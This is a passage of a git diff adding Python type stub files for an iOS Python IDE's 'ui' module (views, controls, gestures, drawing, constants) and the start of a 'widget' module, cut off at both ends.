float) -> Transform: ... + @classmethod + def scale(cls, sx: float, sy: float) -> Transform: ... + @classmethod + def translation(cls, tx: float, ty: float) -> Transform: ... + def concat(self, other: Transform) -> Transform: ... + def invert(self) -> Transform: ... + +class Touch: + location: Point + prev_location: Point + phase: str + touch_id: int + timestamp: float + def __init__( + self, + location: Sequence[float] = ..., + prev_location: Optional[Sequence[float]] = ..., + phase: str = ..., + touch_id: int = ..., + timestamp: Union[int, float] = ..., + ) -> None: ... + +class GestureSender: + STATE_POSSIBLE: ClassVar[int] + STATE_BEGAN: ClassVar[int] + STATE_CHANGED: ClassVar[int] + STATE_ENDED: ClassVar[int] + STATE_CANCELLED: ClassVar[int] + DIRECTION_LEFT: ClassVar[int] + DIRECTION_RIGHT: ClassVar[int] + DIRECTION_UP: ClassVar[int] + DIRECTION_DOWN: ClassVar[int] + view: Optional[View] + state: int + location: Point + translation: Tuple[float, float] + scale: float + direction: int + def __init__( + self, + view: Optional[View] = ..., + state: int = ..., + location: Sequence[float] = ..., + translation: Sequence[float] = ..., + scale: float = ..., + direction: int = ..., + ) -> None: ... + +_GestureAction = Optional[Callable[[GestureSender], Any]] + +class GestureRecognizer: + def __init__(self, gesture_id: str) -> None: ... + @property + def action(self) -> _GestureAction: ... + @action.setter + def action(self, value: _GestureAction) -> None: ... + +class TapGestureRecognizer(GestureRecognizer): + def __init__(self) -> None: ... + @property + def number_of_taps_required(self) -> int: ... + @number_of_taps_required.setter + def number_of_taps_required(self, value: int) -> None: ... + @property + def number_of_touches_required(self) -> int: ... + @number_of_touches_required.setter + def number_of_touches_required(self, value: int) -> None: ... + +class PanGestureRecognizer(GestureRecognizer): + def __init__(self) -> None: ... + +class PinchGestureRecognizer(GestureRecognizer): + def __init__(self) -> None: ... + +class SwipeGestureRecognizer(GestureRecognizer): + def __init__(self) -> None: ... + @property + def direction(self) -> int: ... + @direction.setter + def direction(self, value: int) -> None: ... + +class LongPressGestureRecognizer(GestureRecognizer): + def __init__(self) -> None: ... + @property + def minimum_press_duration(self) -> float: ... + @minimum_press_duration.setter + def minimum_press_duration(self, value: float) -> None: ... + +def parse_color(color: Any) -> Tuple[float, float, float, float]: ... + +class Font: + name: str + size: float + def __init__(self, name: str = ..., size: float = ...) -> None: ... + @classmethod + def system_font_of_size(cls, size: float) -> Font: ... + @classmethod + def bold_system_font_of_size(cls, size: float) -> Font: ... + @classmethod + def italic_system_font_of_size(cls, size: float) -> Font: ... + +def parse_font(font: Any) -> Tuple[str, float]: ... + +_ColorLike = Union[str, Color, Tuple[float, ...], List[float], None] +_FontLike = Union[str, Font, Tuple[Any, ...], List[Any]] + +_Frame = Union[Tuple[float, float, float, float], List[float], Rect] + +class View: + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def frame(self) -> Tuple[float, float, float, float]: ... + @frame.setter + def frame(self, value: _Frame) -> None: ... + @property + def x(self) -> float: ... + @x.setter + def x(self, value: float) -> None: ... + @property + def y(self) -> float: ... + @y.setter + def y(self, value: float) -> None: ... + @property + def width(self) -> float: ... + @width.setter + def width(self, value: float) -> None: ... + @property + def height(self) -> float: ... + @height.setter + def height(self, value: float) -> None: ... + @property + def background_color(self) -> Optional[Tuple[float, float, float, float]]: ... + @background_color.setter + def background_color(self, value: _ColorLike) -> None: ... + @property + def alpha(self) -> float: ... + @alpha.setter + def alpha(self, value: float) -> None: ... + @property + def hidden(self) -> bool: ... + @hidden.setter + def hidden(self, value: bool) -> None: ... + @property + def corner_radius(self) -> float: ... + @corner_radius.setter + def corner_radius(self, value: float) -> None: ... + @property + def border_width(self) -> float: ... + @border_width.setter + def border_width(self, value: float) -> None: ... + @property + def title(self) -> str: ... + @title.setter + def title(self, value: str) -> None: ... + @property + def content_mode(self) -> int: ... + @content_mode.setter + def content_mode(self, value: int) -> None: ... + @property + def touch_enabled(self) -> bool: ... + @touch_enabled.setter + def touch_enabled(self, value: bool) -> None: ... + @property + def multitouch_enabled(self) -> bool: ... + @multitouch_enabled.setter + def multitouch_enabled(self, value: bool) -> None: ... + @property + def transform(self) -> Optional[Transform]: ... + @transform.setter + def transform(self, value: Optional[Transform]) -> None: ... + @property + def bg_color(self) -> Any: ... + @bg_color.setter + def bg_color(self, value: _ColorLike) -> None: ... + @property + def tint_color(self) -> Any: ... + @tint_color.setter + def tint_color(self, value: _ColorLike) -> None: ... + @property + def left_button_items(self) -> Tuple[ButtonItem, ...]: ... + @left_button_items.setter + def left_button_items(self, value: Any) -> None: ... + @property + def right_button_items(self) -> Tuple[ButtonItem, ...]: ... + @right_button_items.setter + def right_button_items(self, value: Any) -> None: ... + def __getitem__(self, name: str) -> View: ... + @property + def border_color(self) -> Optional[Tuple[float, float, float, float]]: ... + @border_color.setter + def border_color(self, value: _ColorLike) -> None: ... + @property + def flex(self) -> str: ... + @flex.setter + def flex(self, value: str) -> None: ... + @property + def name(self) -> str: ... + @name.setter + def name(self, value: str) -> None: ... + @property + def subviews(self) -> Tuple[View, ...]: ... + @property + def superview(self) -> Optional[View]: ... + @property + def bounds(self) -> Tuple[float, float, float, float]: ... + @bounds.setter + def bounds(self, value: Any) -> None: ... + @property + def center(self) -> Tuple[float, float]: ... + @center.setter + def center(self, value: Sequence[float]) -> None: ... + def add_subview(self, subview: View) -> None: ... + def remove_subview(self, subview: View) -> None: ... + def remove_from_superview(self) -> None: ... + def set_needs_display(self) -> None: ... + def bring_to_front(self) -> None: ... + def send_to_back(self) -> None: ... + def bring_subview_to_front(self, subview: View) -> None: ... + def send_subview_to_back(self, subview: View) -> None: ... + def size_to_fit(self) -> None: ... + def layout(self) -> None: ... + def draw(self) -> None: ... + def keyboard_frame_did_change(self, frame: Any) -> None: ... + def set_needs_layout(self) -> None: ... + def update_layout(self) -> None: ... + @property + def clips_to_bounds(self) -> bool: ... + @clips_to_bounds.setter + def clips_to_bounds(self, value: bool) -> None: ... + @property + def accessibility_label(self) -> Any: ... + @accessibility_label.setter + def accessibility_label(self, value: Any) -> None: ... + @property + def accessibility_value(self) -> Any: ... + @accessibility_value.setter + def accessibility_value(self, value: Any) -> None: ... + @property + def accessibility_hint(self) -> Any: ... + @accessibility_hint.setter + def accessibility_hint(self, value: Any) -> None: ... + def point_from_window(self, point: Any) -> Point: ... + def point_to_window(self, point: Any) -> Point: ... + def add_gesture_recognizer(self, gesture_recognizer: GestureRecognizer) -> None: ... + def present( + self, + style: str = ..., + animated: bool = ..., + hide_title_bar: bool = ..., + **kwargs: Any, + ) -> None: ... + def close(self) -> None: ... + def wait_modal(self) -> None: ... + +class ButtonItem: + title: str + image: Any + action: Optional[Callable[..., Any]] + enabled: bool + tint_color: Any + def __init__( + self, + title: str = ..., + image: Any = ..., + action: Optional[Callable[..., Any]] = ..., + **kwargs: Any, + ) -> None: ... + +class Button(View): + def __init__(self, frame: Optional[_Frame] = ..., title: str = ..., **kwargs: Any) -> None: ... + @property + def title(self) -> str: ... + @title.setter + def title(self, value: str) -> None: ... + @property + def title_color(self) -> Any: ... + @title_color.setter + def title_color(self, value: _ColorLike) -> None: ... + @property + def tint_color(self) -> Any: ... + @tint_color.setter + def tint_color(self, value: _ColorLike) -> None: ... + @property + def enabled(self) -> bool: ... + @enabled.setter + def enabled(self, value: bool) -> None: ... + @property + def image(self) -> Any: ... + @image.setter + def image(self, value: Any) -> None: ... + @property + def background_image(self) -> Any: ... + @background_image.setter + def background_image(self, value: Any) -> None: ... + @property + def action(self) -> Optional[Callable[[Button], Any]]: ... + @action.setter + def action(self, func: Callable[[Button], Any]) -> None: ... + @property + def font(self) -> Any: ... + @font.setter + def font(self, value: _FontLike) -> None: ... + +class Label(View): + def __init__(self, frame: Optional[_Frame] = ..., text: str = ..., **kwargs: Any) -> None: ... + @property + def text(self) -> str: ... + @text.setter + def text(self, value: str) -> None: ... + @property + def font(self) -> Any: ... + @font.setter + def font(self, value: _FontLike) -> None: ... + @property + def text_color(self) -> Any: ... + @text_color.setter + def text_color(self, value: _ColorLike) -> None: ... + @property + def alignment(self) -> int: ... + @alignment.setter + def alignment(self, value: int) -> None: ... + @property + def number_of_lines(self) -> int: ... + @number_of_lines.setter + def number_of_lines(self, value: int) -> None: ... + @property + def line_break_mode(self) -> int: ... + @line_break_mode.setter + def line_break_mode(self, value: int) -> None: ... + @property + def scales_font(self) -> bool: ... + @scales_font.setter + def scales_font(self, value: bool) -> None: ... + @property + def min_font_scale(self) -> float: ... + @min_font_scale.setter + def min_font_scale(self, value: float) -> None: ... + +class TextField(View): + def __init__( + self, + frame: Optional[_Frame] = ..., + text: str = ..., + placeholder: str = ..., + **kwargs: Any, + ) -> None: ... + @property + def text(self) -> str: ... + @text.setter + def text(self, value: str) -> None: ... + @property + def placeholder(self) -> str: ... + @placeholder.setter + def placeholder(self, value: str) -> None: ... + @property + def text_color(self) -> Any: ... + @text_color.setter + def text_color(self, value: _ColorLike) -> None: ... + @property + def alignment(self) -> int: ... + @alignment.setter + def alignment(self, value: int) -> None: ... + @property + def secure(self) -> bool: ... + @secure.setter + def secure(self, value: bool) -> None: ... + @property + def keyboard_type(self) -> int: ... + @keyboard_type.setter + def keyboard_type(self, value: int) -> None: ... + @property + def action(self) -> Optional[Callable[[TextField], Any]]: ... + @action.setter + def action(self, func: Callable[[TextField], Any]) -> None: ... + @property + def began_editing(self) -> Optional[Callable[[TextField], Any]]: ... + @began_editing.setter + def began_editing(self, func: Callable[[TextField], Any]) -> None: ... + @property + def ended_editing(self) -> Optional[Callable[[TextField], Any]]: ... + @ended_editing.setter + def ended_editing(self, func: Callable[[TextField], Any]) -> None: ... + @property + def autocapitalization_type(self) -> int: ... + @autocapitalization_type.setter + def autocapitalization_type(self, value: int) -> None: ... + @property + def autocorrection_type(self) -> int: ... + @autocorrection_type.setter + def autocorrection_type(self, value: int) -> None: ... + @property + def spellchecking_type(self) -> int: ... + @spellchecking_type.setter + def spellchecking_type(self, value: int) -> None: ... + @property + def clear_button_mode(self) -> int: ... + @clear_button_mode.setter + def clear_button_mode(self, value: int) -> None: ... + @property + def return_key_type(self) -> int: ... + @return_key_type.setter + def return_key_type(self, value: int) -> None: ... + +class TextView(View): + def __init__(self, frame: Optional[_Frame] = ..., text: str = ..., **kwargs: Any) -> None: ... + @property + def text(self) -> str: ... + @text.setter + def text(self, value: str) -> None: ... + @property + def editable(self) -> bool: ... + @editable.setter + def editable(self, value: bool) -> None: ... + @property + def selectable(self) -> bool: ... + @selectable.setter + def selectable(self, value: bool) -> None: ... + @property + def text_color(self) -> Any: ... + @text_color.setter + def text_color(self, value: _ColorLike) -> None: ... + @property + def font(self) -> Any: ... + @font.setter + def font(self, value: _FontLike) -> None: ... + @property + def delegate(self) -> Any: ... + @delegate.setter + def delegate(self, value: Any) -> None: ... + @property + def began_editing(self) -> Optional[Callable[[TextView], Any]]: ... + @began_editing.setter + def began_editing(self, func: Callable[[TextView], Any]) -> None: ... + @property + def ended_editing(self) -> Optional[Callable[[TextView], Any]]: ... + @ended_editing.setter + def ended_editing(self, func: Callable[[TextView], Any]) -> None: ... + @property + def selected_range(self) -> Tuple[int, int]: ... + @selected_range.setter + def selected_range(self, value: Sequence[int]) -> None: ... + @property + def content_size(self) -> Size: ... + @property + def content_offset(self) -> Point: ... + @content_offset.setter + def content_offset(self, value: Sequence[float]) -> None: ... + @property + def alignment(self) -> int: ... + @alignment.setter + def alignment(self, value: int) -> None: ... + @property + def auto_content_inset(self) -> bool: ... + @auto_content_inset.setter + def auto_content_inset(self, value: bool) -> None: ... + +class ImageView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def image(self) -> Any: ... + @image.setter + def image(self, value: Any) -> None: ... + +class WebView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + def load_url(self, url: str) -> None: ... + def load_from_url(self, url: str) -> None: ... + def load_html(self, html: str, base_url: Optional[str] = ...) -> None: ... + def go_back(self) -> None: ... + def go_forward(self) -> None: ... + def reload(self) -> None: ... + def stop(self) -> None: ... + def eval_js(self, script: str, callback: Optional[Callable[[Optional[str]], None]] = ...) -> None: ... + +class ActivityIndicator(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def animating(self) -> bool: ... + @animating.setter + def animating(self, value: bool) -> None: ... + @property + def style(self) -> int: ... + @style.setter + def style(self, value: int) -> None: ... + @property + def hides_when_stopped(self) -> bool: ... + @hides_when_stopped.setter + def hides_when_stopped(self, value: bool) -> None: ... + def start(self) -> None: ... + def stop(self) -> None: ... + def start_animating(self) -> None: ... + def stop_animating(self) -> None: ... + +class TableView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def data_source(self) -> List[Any]: ... + @data_source.setter + def data_source(self, value: Any) -> None: ... + def reload_data(self) -> None: ... + @property + def action(self) -> Optional[Callable[[TableView, int, int], Any]]: ... + @action.setter + def action(self, func: Callable[[TableView, int, int], Any]) -> None: ... + @property + def delegate(self) -> Any: ... + @delegate.setter + def delegate(self, value: Any) -> None: ... + @property + def editing(self) -> bool: ... + @editing.setter + def editing(self, value: bool) -> None: ... + @property + def row_height(self) -> float: ... + @row_height.setter + def row_height(self, value: float) -> None: ... + @property + def separator_color(self) -> Any: ... + @separator_color.setter + def separator_color(self, value: _ColorLike) -> None: ... + @property + def allows_selection(self) -> bool: ... + @allows_selection.setter + def allows_selection(self, value: bool) -> None: ... + @property + def allows_multiple_selection(self) -> bool: ... + @allows_multiple_selection.setter + def allows_multiple_selection(self, value: bool) -> None: ... + @property + def selected_row(self) -> Optional[Tuple[int, int]]: ... + @property + def delete_enabled(self) -> bool: ... + @delete_enabled.setter + def delete_enabled(self, value: bool) -> None: ... + @property + def move_enabled(self) -> bool: ... + @move_enabled.setter + def move_enabled(self, value: bool) -> None: ... + +class ListDataSource: + items: List[Any] + def __init__(self) -> None: ... + def tableview_number_of_sections(self, tableview: TableView) -> int: ... + def tableview_number_of_rows(self, tableview: TableView, section: int) -> int: ... + def tableview_cell_for_row(self, tableview: TableView, section: int, row: int) -> Any: ... + def tableview_did_select(self, tableview: TableView, section: int, row: int) -> None: ... + def reload(self) -> None: ... + +class TableViewCell(View): + text_label: Label + detail_text_label: Label + accessory_type: int + def __init__(self, style: str = ..., **kwargs: Any) -> None: ... + +class Switch(View): + def __init__(self, frame: Optional[_Frame] = ..., value: bool = ..., **kwargs: Any) -> None: ... + @property + def value(self) -> bool: ... + @value.setter + def value(self, val: bool) -> None: ... + @property + def action(self) -> Optional[Callable[[Switch], Any]]: ... + @action.setter + def action(self, func: Callable[[Switch], Any]) -> None: ... + @property + def enabled(self) -> bool: ... + @enabled.setter + def enabled(self, value: bool) -> None: ... + +class Slider(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def value(self) -> float: ... + @value.setter + def value(self, val: float) -> None: ... + @property + def continuous(self) -> bool: ... + @continuous.setter + def continuous(self, value: bool) -> None: ... + @property + def action(self) -> Optional[Callable[[Slider], Any]]: ... + @action.setter + def action(self, func: Callable[[Slider], Any]) -> None: ... + +class SegmentedControl(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def segments(self) -> List[str]: ... + @segments.setter + def segments(self, value: Any) -> None: ... + @property + def selected_index(self) -> int: ... + @selected_index.setter + def selected_index(self, value: int) -> None: ... + @property + def action(self) -> Optional[Callable[[SegmentedControl], Any]]: ... + @action.setter + def action(self, func: Callable[[SegmentedControl], Any]) -> None: ... + +class DatePicker(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def date(self) -> datetime.datetime: ... + @date.setter + def date(self, value: Any) -> None: ... + @property + def mode(self) -> int: ... + @mode.setter + def mode(self, value: int) -> None: ... + @property + def enabled(self) -> bool: ... + @enabled.setter + def enabled(self, value: bool) -> None: ... + @property + def action(self) -> Optional[Callable[[DatePicker], Any]]: ... + @action.setter + def action(self, func: Callable[[DatePicker], Any]) -> None: ... + +class ProgressView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def progress(self) -> float: ... + @progress.setter + def progress(self, value: float) -> None: ... + @property + def progress_tint_color(self) -> Any: ... + @progress_tint_color.setter + def progress_tint_color(self, value: _ColorLike) -> None: ... + @property + def track_tint_color(self) -> Any: ... + @track_tint_color.setter + def track_tint_color(self, value: _ColorLike) -> None: ... + +class Stepper(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def value(self) -> float: ... + @value.setter + def value(self, val: float) -> None: ... + @property + def min_value(self) -> float: ... + @min_value.setter + def min_value(self, val: float) -> None: ... + @property + def max_value(self) -> float: ... + @max_value.setter + def max_value(self, val: float) -> None: ... + @property + def step_value(self) -> float: ... + @step_value.setter + def step_value(self, val: float) -> None: ... + @property + def wraps(self) -> bool: ... + @wraps.setter + def wraps(self, val: bool) -> None: ... + @property + def continuous(self) -> bool: ... + @continuous.setter + def continuous(self, val: bool) -> None: ... + @property + def action(self) -> Optional[Callable[[Stepper], Any]]: ... + @action.setter + def action(self, func: Callable[[Stepper], Any]) -> None: ... + +class NavigationView(View): + def __init__(self, view: Optional[View] = ..., **kwargs: Any) -> None: ... + @property + def navigation_bar_hidden(self) -> bool: ... + @navigation_bar_hidden.setter + def navigation_bar_hidden(self, value: bool) -> None: ... + @property + def bar_tint_color(self) -> Any: ... + @bar_tint_color.setter + def bar_tint_color(self, value: _ColorLike) -> None: ... + @property + def title_color(self) -> Any: ... + @title_color.setter + def title_color(self, value: _ColorLike) -> None: ... + def push_view(self, view: View, animated: bool = ...) -> None: ... + def pop_view(self, animated: bool = ...) -> None: ... + +class ScrollView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def content_size(self) -> Tuple[float, float]: ... + @content_size.setter + def content_size(self, value: Sequence[float]) -> None: ... + @property + def content_offset(self) -> Tuple[float, float]: ... + @content_offset.setter + def content_offset(self, value: Sequence[float]) -> None: ... + @property + def bounces(self) -> bool: ... + @bounces.setter + def bounces(self, value: bool) -> None: ... + @property + def always_bounce_horizontal(self) -> bool: ... + @always_bounce_horizontal.setter + def always_bounce_horizontal(self, value: bool) -> None: ... + @property + def always_bounce_vertical(self) -> bool: ... + @always_bounce_vertical.setter + def always_bounce_vertical(self, value: bool) -> None: ... + @property + def delegate(self) -> Any: ... + @delegate.setter + def delegate(self, value: Any) -> None: ... + @property + def scroll_enabled(self) -> bool: ... + @scroll_enabled.setter + def scroll_enabled(self, value: bool) -> None: ... + def scroll_to(self, x: float, y: float, animated: bool = ...) -> None: ... + @property + def content_inset(self) -> Tuple[float, float, float, float]: ... + @content_inset.setter + def content_inset(self, value: Any) -> None: ... + @property + def paging_enabled(self) -> bool: ... + @paging_enabled.setter + def paging_enabled(self, value: bool) -> None: ... + @property + def zoom_scale(self) -> float: ... + @zoom_scale.setter + def zoom_scale(self, value: float) -> None: ... + @property + def min_zoom_scale(self) -> float: ... + @min_zoom_scale.setter + def min_zoom_scale(self, value: float) -> None: ... + @property + def max_zoom_scale(self) -> float: ... + @max_zoom_scale.setter + def max_zoom_scale(self, value: float) -> None: ... + @property + def shows_vertical_scroll_indicator(self) -> bool: ... + @shows_vertical_scroll_indicator.setter + def shows_vertical_scroll_indicator(self, value: bool) -> None: ... + @property + def shows_horizontal_scroll_indicator(self) -> bool: ... + @shows_horizontal_scroll_indicator.setter + def shows_horizontal_scroll_indicator(self, value: bool) -> None: ... + +class Path: + line_width: float + line_cap_style: int + line_join_style: int + def __init__(self) -> None: ... + def add_arc( + self, + cx: float, + cy: float, + r: float, + start: float, + end: float, + clockwise: bool = ..., + ) -> None: ... + def add_curve( + self, + end_x: float, + end_y: float, + cp1_x: float, + cp1_y: float, + cp2_x: float, + cp2_y: float, + ) -> None: ... + def add_quad_curve(self, end_x: float, end_y: float, cp_x: float, cp_y: float) -> None: ... + def add_clip(self) -> None: ... + def set_line_dash(self, sequence: Sequence[float], phase: float = ...) -> None: ... + @staticmethod + def rect(x: float, y: float, w: float, h: float) -> Path: ... + @staticmethod + def oval(x: float, y: float, w: float, h: float) -> Path: ... + @staticmethod + def rounded_rect(x: float, y: float, w: float, h: float, corner_radius: float) -> Path: ... + def move_to(self, x: float, y: float) -> None: ... + def line_to(self, x: float, y: float) -> None: ... + def close(self) -> None: ... + def fill(self) -> None: ... + def stroke(self) -> None: ... + def add_rect(self, x: float, y: float, w: float, h: float) -> None: ... + def add_oval(self, x: float, y: float, w: float, h: float) -> None: ... + def copy(self) -> Self: ... + def hit_test(self, x: float, y: float) -> bool: ... + def get_bounding_box(self) -> Rect: ... + +class GState: + def __enter__(self) -> GState: ... + def __exit__( + self, + exc_type: Optional[type[BaseException]], + exc: Optional[BaseException], + tb: Optional[TracebackType], + ) -> bool: ... + +class ImageContext: + width: float + height: float + def __init__(self, width: float, height: float) -> None: ... + def __enter__(self) -> Optional[ImageContext]: ... + def __exit__( + self, + exc_type: Optional[type[BaseException]], + exc: Optional[BaseException], + tb: Optional[TracebackType], + ) -> bool: ... + def get_image(self) -> Optional[Image]: ... + +class Image: + def __init__(self, data: bytes = ...) -> None: ... + @classmethod + def from_data(cls, data: bytes) -> Image: ... + @classmethod + def from_image_context(cls) -> Image: ... + @classmethod + def named(cls, name: str) -> Image: ... + @property + def size(self) -> Size: ... + def draw( + self, + x: float = ..., + y: float = ..., + width: Optional[float] = ..., + height: Optional[float] = ..., + ) -> None: ... + def resizable_image(self, top: float, left: float, bottom: float, right: float) -> Image: ... + def with_rendering_mode(self, mode: int) -> Image: ... + @property + def rendering_mode(self) -> int: ... + @rendering_mode.setter + def rendering_mode(self, value: int) -> None: ... + @property + def scale(self) -> float: ... + def crop(self, rect: Any) -> Image: ... + def clip_to_mask(self, mask: Image) -> Image: ... + def to_png(self) -> bytes: ... + def to_jpeg(self, compression_quality: float = ...) -> bytes: ... + def show(self) -> None: ... + +def begin_image_context(width: float, height: float) -> None: ... +def end_image_context() -> None: ... +def get_image_from_current_context() -> Image: ... +def set_color(color: _ColorLike) -> None: ... +def fill_rect(x: float, y: float, w: float, h: float) -> None: ... +def stroke_rect(x: float, y: float, w: float, h: float) -> None: ... +def draw_string( + text: str, + rect: Any = ..., + font: _FontLike = ..., + color: _ColorLike = ..., + alignment: int = ..., + line_break_mode: int = ..., +) -> None: ... + +class CanvasView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + def render(self, draw_func: Callable[[], None]) -> None: ... + +def get_screen_size() -> Tuple[float, float]: ... +def get_window_size() -> Size: ... +def get_keyboard_frame() -> Tuple[float, float, float, float]: ... +def get_ui_style() -> str: ... +def measure_string( + text: str, + max_width: float = ..., + font: _FontLike = ..., + alignment: int = ..., + line_break_mode: int = ..., +) -> Tuple[float, float]: ... +def delay(seconds: float, func: Callable[..., Any]) -> None: ... +def cancel_delays() -> None: ... +def in_background(fn: Callable[..., Any]) -> Callable[..., None]: ... +def animate( + animation: Callable[[], Any], + duration: float = ..., + delay_sec: float = ..., + completion: Optional[Callable[[], Any]] = ..., +) -> None: ... +def convert_point( + point: Any = ..., + from_view: Optional[View] = ..., + to_view: Optional[View] = ..., +) -> Point: ... +def convert_rect( + rect: Any = ..., + from_view: Optional[View] = ..., + to_view: Optional[View] = ..., +) -> Rect: ... +def set_blend_mode(mode: int) -> None: ... +def set_shadow( + color: Optional[_ColorLike], + offset_x: float, + offset_y: float, + blur_radius: float, +) -> None: ... + +class autoreleasepool: + def __enter__(self) -> autoreleasepool: ... + def __exit__( + self, + exc_type: Optional[type[BaseException]], + exc: Optional[BaseException], + tb: Optional[TracebackType], + ) -> bool: ... + +def load_view( + name: Optional[str] = ..., + bindings: Optional[Dict[str, Any]] = ..., + stackframe: Any = ..., + verbose: bool = ..., +) -> View: ... +def load_view_str( + json_str: str, + bindings: Optional[Dict[str, Any]] = ..., + stackframe: Any = ..., + verbose: bool = ..., +) -> View: ... +def close_all(animated: bool = ...) -> None: ... +def dump_view(view: View, indent: int = ...) -> None: ... + +__all__ = [ + "View", + "Button", + "Label", + "TextField", + "TextView", + "ImageView", + "Switch", + "Slider", + "SegmentedControl", + "DatePicker", + "ScrollView", + "CanvasView", + "ActivityIndicator", + "TableView", + "WebView", + "NavigationView", + "ButtonItem", + "ProgressView", + "Stepper", + "ListDataSource", + "TableViewCell", + "GestureRecognizer", + "TapGestureRecognizer", + "PanGestureRecognizer", + "PinchGestureRecognizer", + "SwipeGestureRecognizer", + "LongPressGestureRecognizer", + "GestureSender", + "Color", + "Font", + "Path", + "GState", + "ImageContext", + "Image", + "Point", + "Size", + "Rect", + "Transform", + "Touch", + "parse_color", + "parse_font", + "set_color", + "fill_rect", + "stroke_rect", + "draw_string", + "begin_image_context", + "end_image_context", + "get_image_from_current_context", + "ALIGN_LEFT", + "ALIGN_CENTER", + "ALIGN_RIGHT", + "ALIGN_JUSTIFIED", + "ALIGN_NATURAL", + "LB_WORD_WRAP", + "LB_CHAR_WRAP", + "LB_CLIP", + "LB_TRUNCATE_HEAD", + "LB_TRUNCATE_TAIL", + "LB_TRUNCATE_MIDDLE", + "KEYBOARD_DEFAULT", + "KEYBOARD_ASCII", + "KEYBOARD_NUMBERS", + "KEYBOARD_URL", + "KEYBOARD_NUMBER_PAD", + "KEYBOARD_PHONE_PAD", + "KEYBOARD_NAME_PHONE_PAD", + "KEYBOARD_EMAIL", + "KEYBOARD_DECIMAL_PAD", + "KEYBOARD_TWITTER", + "KEYBOARD_WEB_SEARCH", + "BLEND_NORMAL", + "BLEND_MULTIPLY", + "BLEND_SCREEN", + "BLEND_OVERLAY", + "BLEND_DARKEN", + "BLEND_LIGHTEN", + "BLEND_COLOR_DODGE", + "BLEND_COLOR_BURN", + "BLEND_SOFT_LIGHT", + "BLEND_HARD_LIGHT", + "BLEND_DIFFERENCE", + "BLEND_EXCLUSION", + "BLEND_HUE", + "BLEND_SATURATION", + "BLEND_COLOR", + "BLEND_LUMINOSITY", + "BLEND_CLEAR", + "BLEND_COPY", + "BLEND_SOURCE_IN", + "BLEND_SOURCE_OUT", + "BLEND_SOURCE_ATOP", + "BLEND_DESTINATION_OVER", + "BLEND_DESTINATION_IN", + "BLEND_DESTINATION_OUT", + "BLEND_DESTINATION_ATOP", + "BLEND_XOR", + "BLEND_PLUS_DARKER", + "BLEND_PLUS_LIGHTER", + "RENDERING_MODE_AUTOMATIC", + "RENDERING_MODE_ORIGINAL", + "RENDERING_MODE_TEMPLATE", + "LINE_CAP_BUTT", + "LINE_CAP_ROUND", + "LINE_CAP_SQUARE", + "LINE_JOIN_MITER", + "LINE_JOIN_ROUND", + "LINE_JOIN_BEVEL", + "CONTENT_SCALE_ASPECT_FIT", + "CONTENT_SCALE_ASPECT_FILL", + "CONTENT_SCALE_TO_FILL", + "CONTENT_REDRAW", + "CONTENT_CENTER", + "CONTENT_TOP", + "CONTENT_BOTTOM", + "CONTENT_LEFT", + "CONTENT_RIGHT", + "CONTENT_TOP_LEFT", + "CONTENT_TOP_RIGHT", + "CONTENT_BOTTOM_LEFT", + "CONTENT_BOTTOM_RIGHT", + "DATE_PICKER_MODE_TIME", + "DATE_PICKER_MODE_DATE", + "DATE_PICKER_MODE_DATE_AND_TIME", + "DATE_PICKER_MODE_COUNTDOWN", + "ACTIVITY_INDICATOR_STYLE_GRAY", + "ACTIVITY_INDICATOR_STYLE_WHITE", + "ACTIVITY_INDICATOR_STYLE_WHITE_LARGE", + "get_screen_size", + "get_window_size", + "get_keyboard_frame", + "get_ui_style", + "load_view", + "load_view_str", + "close_all", + "dump_view", + "animate", + "delay", + "cancel_delays", + "in_background", + "convert_point", + "convert_rect", + "measure_string", + "set_blend_mode", + "set_shadow", + "autoreleasepool", +] diff --git a/docs/stubs/widget.pyi b/docs/stubs/widget.pyi new file mode 100644 index 0000000..4833cbe --- /dev/null +++ b/docs/stubs/widget.pyi @@ -0,0 +1,954 @@ +"""widget — Python IDE 小组件模块 — Type stubs.""" + +import sys +from datetime import datetime +from typing import Any, Dict, List, Optional, Tuple, Union + +if sys.version_info >= (3, 11): + from typing import Self +else: + from typing_extensions import Self + +# ── Type aliases ── + +ColorLike = Union[str, Tuple[str, str]] +"""Solid color string or (light, dark) tuple for Widget DSL color parameters.""" + +WidgetBackground = Union[str, Tuple[str, str], Dict[str, Any]] +"""Widget root/card/button background: solid, (light, dark), ``\"system\"``, or gradient dict.""" + +RichTextPart = Union[str, Tuple[Any, ...], Dict[str, Any]] +"""One rich text run: string, tuple like ``(text, color, weight)``, or dict.""" + +PathPoint = Union[Tuple[float, float], List[float], Dict[str, float]] +"""One path point as ``(x, y)``, ``[x, y]``, or ``{"x": x, "y": y}``.""" + +# ── Size / family constants (match iOS WidgetFamily) ── + +SMALL = "small" +MEDIUM = "medium" +LARGE = "large" +CIRCULAR = "circular" +RECTANGULAR = "rectangular" +INLINE = "inline" + +# ── Dynamic / module state ── + +family: str +"""Current widget family (from ``WIDGET_FAMILY`` env, default ``medium``).""" + +# ── Internal helper types exposed only for attribute typing ── + + +class _Params: + def get(self, key: str, default: Any = None) -> Any: ... + def __getattr__(self, name: str) -> Any: ... + + +class _Storage: + def get(self, key: str, default: Any = None) -> Any: ... + def set(self, key: str, value: Any) -> None: ... + + +params: _Params +storage: _Storage + + +class _ContainerContext: + def __enter__(self) -> Self: ... + def __exit__( + self, + exc_type: Optional[type], + exc_val: Optional[BaseException], + exc_tb: Optional[Any], + ) -> None: ... + def shadow( + self, + color: ColorLike = "#000000", + radius: float = 4, + x: float = 0, + y: float = 2, + ) -> Self: ... + def background(self, value: WidgetBackground) -> Self: ... + def overlay(self, color: ColorLike = "#000000", opacity: float = 0.18) -> 